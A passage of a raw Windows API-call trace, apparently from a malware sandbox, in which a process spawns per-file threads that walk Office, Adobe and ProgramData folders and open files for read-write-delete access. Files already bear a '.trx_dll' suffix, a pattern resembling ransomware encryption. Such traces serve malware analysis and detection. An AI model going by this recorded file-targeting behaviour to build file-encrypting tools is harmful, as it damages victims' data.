Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18190_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18190_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0148.697] GetLastError () returned 0x5 [0148.697] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18190_.WMF", dwFileAttributes=0x20) returned 0 [0148.698] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x940070) returned 1 Thread: id = 2583 os_tid = 0x14fc [0146.573] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18191_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18191_.wmf")) returned 0x20 [0148.698] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18191_.WMF", dwFileAttributes=0x20) returned 0 [0148.698] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18191_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18191_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0148.699] GetLastError () returned 0x5 [0148.699] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18191_.WMF", dwFileAttributes=0x20) returned 0 [0148.699] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x940108) returned 1 Thread: id = 2584 os_tid = 0x1500 [0146.574] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18192_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18192_.wmf")) returned 0x20 [0148.699] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18192_.WMF", dwFileAttributes=0x20) returned 0 [0148.700] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18192_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18192_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0148.700] GetLastError () returned 0x5 [0148.700] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18192_.WMF", dwFileAttributes=0x20) returned 0 [0148.700] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9401a0) returned 1 Thread: id = 2605 os_tid = 0x1554 [0146.759] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\de_DE\\Reader_10.0.helpcfg" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\de_de\\reader_10.0.helpcfg")) returned 0x20 [0146.759] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\de_DE\\Reader_10.0.helpcfg", dwFileAttributes=0x20) returned 0 [0146.760] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\de_DE\\Reader_10.0.helpcfg" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\de_de\\reader_10.0.helpcfg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0146.760] GetLastError () returned 0x5 [0146.760] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\de_DE\\Reader_10.0.helpcfg", dwFileAttributes=0x20) returned 0 [0146.760] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9ada28) returned 1 Thread: id = 2607 os_tid = 0x155c [0146.768] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\eu_ES\\Reader_10.0.helpcfg" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\eu_es\\reader_10.0.helpcfg")) returned 0x20 [0146.768] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\eu_ES\\Reader_10.0.helpcfg", dwFileAttributes=0x20) returned 0 [0146.768] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\eu_ES\\Reader_10.0.helpcfg" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\eu_es\\reader_10.0.helpcfg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0146.768] GetLastError () returned 0x5 [0146.768] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\eu_ES\\Reader_10.0.helpcfg", dwFileAttributes=0x20) returned 0 [0146.768] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9adb68) returned 1 Thread: id = 2646 os_tid = 0x15f8 [0147.019] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02082_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02082_.gif")) returned 0x20 [0147.021] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02082_.GIF", dwFileAttributes=0x20) returned 0 [0147.021] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02082_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02082_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0147.021] GetLastError () returned 0x5 [0147.021] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02082_.GIF", dwFileAttributes=0x20) returned 0 [0147.021] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x935df0) returned 1 Thread: id = 2647 os_tid = 0x15fc [0147.022] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02085_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02085_.gif")) returned 0x20 [0147.022] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02085_.GIF", dwFileAttributes=0x20) returned 0 [0147.022] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02085_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02085_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0147.023] GetLastError () returned 0x5 [0147.023] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02085_.GIF", dwFileAttributes=0x20) returned 0 [0147.023] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x934678) returned 1 Thread: id = 2648 os_tid = 0x1600 [0147.024] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02097_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02097_.gif")) returned 0x20 [0147.024] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02097_.GIF", dwFileAttributes=0x20) returned 0 [0147.024] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02097_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02097_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0147.024] GetLastError () returned 0x5 [0147.024] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02097_.GIF", dwFileAttributes=0x20) returned 0 [0147.024] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9345d0) returned 1 Thread: id = 2649 os_tid = 0x1604 [0147.025] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02106_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02106_.gif")) returned 0x20 [0148.097] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02106_.GIF", dwFileAttributes=0x20) returned 0 [0148.097] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02106_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02106_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0148.097] GetLastError () returned 0x5 [0148.097] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02106_.GIF", dwFileAttributes=0x20) returned 0 [0148.098] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x934528) returned 1 Thread: id = 2650 os_tid = 0x1608 [0147.026] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02116_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02116_.gif")) returned 0x20 [0148.098] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02116_.GIF", dwFileAttributes=0x20) returned 0 [0148.098] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02116_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02116_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0148.099] GetLastError () returned 0x5 [0148.099] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02116_.GIF", dwFileAttributes=0x20) returned 0 [0148.099] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x934480) returned 1 Thread: id = 2651 os_tid = 0x160c [0147.027] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02134_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02134_.gif")) returned 0x20 [0148.099] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02134_.GIF", dwFileAttributes=0x20) returned 0 [0148.100] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02134_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02134_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0148.100] GetLastError () returned 0x5 [0148.100] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02134_.GIF", dwFileAttributes=0x20) returned 0 [0148.100] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9343d8) returned 1 Thread: id = 2652 os_tid = 0x1610 [0147.028] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02187_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02187_.gif")) returned 0x20 [0148.101] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02187_.GIF", dwFileAttributes=0x20) returned 0 [0148.101] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02187_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02187_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0148.101] GetLastError () returned 0x5 [0148.101] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02187_.GIF", dwFileAttributes=0x20) returned 0 [0148.101] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x934330) returned 1 Thread: id = 2653 os_tid = 0x1614 [0147.029] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02198_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02198_.gif")) returned 0x20 [0148.102] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02198_.GIF", dwFileAttributes=0x20) returned 0 [0148.102] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02198_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02198_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0148.102] GetLastError () returned 0x5 [0148.102] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02198_.GIF", dwFileAttributes=0x20) returned 0 [0148.102] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x934288) returned 1 Thread: id = 2654 os_tid = 0x1618 [0147.029] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02201_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02201_.gif")) returned 0x20 [0148.103] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02201_.GIF", dwFileAttributes=0x20) returned 0 [0148.103] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02201_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02201_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0148.103] GetLastError () returned 0x5 [0148.103] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02201_.GIF", dwFileAttributes=0x20) returned 0 [0148.103] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9341e0) returned 1 Thread: id = 2655 os_tid = 0x161c [0147.030] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02214_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02214_.gif")) returned 0x20 [0147.638] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02214_.GIF", dwFileAttributes=0x20) returned 0 [0147.638] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02214_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02214_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0147.638] GetLastError () returned 0x5 [0147.638] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02214_.GIF", dwFileAttributes=0x20) returned 0 [0147.638] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x934138) returned 1 Thread: id = 2656 os_tid = 0x1620 [0147.031] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02218_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02218_.gif")) returned 0x20 [0147.639] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02218_.GIF", dwFileAttributes=0x20) returned 0 [0147.639] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02218_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02218_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0147.639] GetLastError () returned 0x5 [0147.639] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02218_.GIF", dwFileAttributes=0x20) returned 0 [0147.639] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x934090) returned 1 Thread: id = 2657 os_tid = 0x1624 [0147.032] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x64) returned 0x8f14b8 [0147.032] wcscpy (in: _Dest=0x8f14b8, _Source="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036" [0147.032] wcscat (in: _Dest=0x8f14b8, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\" [0147.032] wcscat (in: _Dest=0x8f14b8, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\*") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\*" [0147.032] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x905d00 [0147.032] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\*", lpFindFileData=0x905d00 | out: lpFindFileData=0x905d00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef116910, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef116910, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x942630 [0147.640] wcscmp (_String1=".", _String2=".") returned 0 [0147.640] FindNextFileW (in: hFindFile=0x942630, lpFindFileData=0x905d00 | out: lpFindFileData=0x905d00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef116910, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef116910, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.803] wcscmp (_String1="..", _String2=".") returned 1 [0148.803] wcscmp (_String1="..", _String2="..") returned 0 [0148.803] FindNextFileW (in: hFindFile=0x942630, lpFindFileData=0x905d00 | out: lpFindFileData=0x905d00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1be9a700, ftCreationTime.dwHighDateTime=0x1caca12, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x1be9a700, ftLastWriteTime.dwHighDateTime=0x1caca12, nFileSizeHigh=0x0, nFileSizeLow=0x3960, dwReserved0=0x0, dwReserved1=0x0, cFileName="ENVELOPR.DLL.trx_dll", cAlternateFileName="ENVELO~1.TRX")) returned 1 [0148.803] wcscmp (_String1="ENVELOPR.DLL.trx_dll", _String2=".") returned 1 [0148.803] wcscmp (_String1="ENVELOPR.DLL.trx_dll", _String2="..") returned 1 [0148.803] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x8a) returned 0x9ac728 [0148.803] wcscpy (in: _Dest=0x9ac728, _Source="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036" [0148.803] wcscat (in: _Dest=0x9ac728, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\" [0148.803] wcscat (in: _Dest=0x9ac728, _Source="ENVELOPR.DLL.trx_dll" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\ENVELOPR.DLL.trx_dll") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\ENVELOPR.DLL.trx_dll" [0150.649] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x9ac728, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x19c8 [0150.651] FindNextFileW (in: hFindFile=0x942630, lpFindFileData=0x905d00 | out: lpFindFileData=0x905d00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd48e100, ftCreationTime.dwHighDateTime=0x1cac7f7, ftLastAccessTime.dwLowDateTime=0xeedf6c30, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xbd48e100, ftLastWriteTime.dwHighDateTime=0x1cac7f7, nFileSizeHigh=0x0, nFileSizeLow=0xbf60, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRINTL32.DLL.trx_dll", cAlternateFileName="GRINTL~1.TRX")) returned 1 [0150.651] wcscmp (_String1="GRINTL32.DLL.trx_dll", _String2=".") returned 1 [0150.651] wcscmp (_String1="GRINTL32.DLL.trx_dll", _String2="..") returned 1 [0150.651] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x8a) returned 0x12c759a8 [0150.651] wcscpy (in: _Dest=0x12c759a8, _Source="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036" [0150.651] wcscat (in: _Dest=0x12c759a8, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\" [0150.651] wcscat (in: _Dest=0x12c759a8, _Source="GRINTL32.DLL.trx_dll" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\GRINTL32.DLL.trx_dll") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\GRINTL32.DLL.trx_dll" [0150.651] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12c759a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x19cc [0150.652] FindNextFileW (in: hFindFile=0x942630, lpFindFileData=0x905d00 | out: lpFindFileData=0x905d00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd48e100, ftCreationTime.dwHighDateTime=0x1cac7f7, ftLastAccessTime.dwLowDateTime=0xeedf6c30, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xbd48e100, ftLastWriteTime.dwHighDateTime=0x1cac7f7, nFileSizeHigh=0x0, nFileSizeLow=0x3d960, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRINTL32.REST.trx_dll", cAlternateFileName="GRINTL~2.TRX")) returned 1 [0150.652] wcscmp (_String1="GRINTL32.REST.trx_dll", _String2=".") returned 1 [0150.653] wcscmp (_String1="GRINTL32.REST.trx_dll", _String2="..") returned 1 [0150.653] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x8c) returned 0x12c75878 [0150.653] wcscpy (in: _Dest=0x12c75878, _Source="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036" [0150.653] wcscat (in: _Dest=0x12c75878, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\" [0150.653] wcscat (in: _Dest=0x12c75878, _Source="GRINTL32.REST.trx_dll" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\GRINTL32.REST.trx_dll") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\GRINTL32.REST.trx_dll" [0150.653] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12c75878, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x19d0 [0150.653] FindNextFileW (in: hFindFile=0x942630, lpFindFileData=0x905d00 | out: lpFindFileData=0x905d00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1be9a700, ftCreationTime.dwHighDateTime=0x1caca12, ftLastAccessTime.dwLowDateTime=0xeee1cd90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x1be9a700, ftLastWriteTime.dwHighDateTime=0x1caca12, nFileSizeHigh=0x0, nFileSizeLow=0x49f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="MAPIR.DLL.trx_dll", cAlternateFileName="MAPIRD~1.TRX")) returned 1 [0150.654] wcscmp (_String1="MAPIR.DLL.trx_dll", _String2=".") returned 1 [0150.654] wcscmp (_String1="MAPIR.DLL.trx_dll", _String2="..") returned 1 [0150.654] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x84) returned 0x8e82e8 [0150.654] wcscpy (in: _Dest=0x8e82e8, _Source="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036" [0150.654] wcscat (in: _Dest=0x8e82e8, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\" [0150.654] wcscat (in: _Dest=0x8e82e8, _Source="MAPIR.DLL.trx_dll" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\MAPIR.DLL.trx_dll") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\MAPIR.DLL.trx_dll" [0150.654] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e82e8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x19d4 [0150.655] FindNextFileW (in: hFindFile=0x942630, 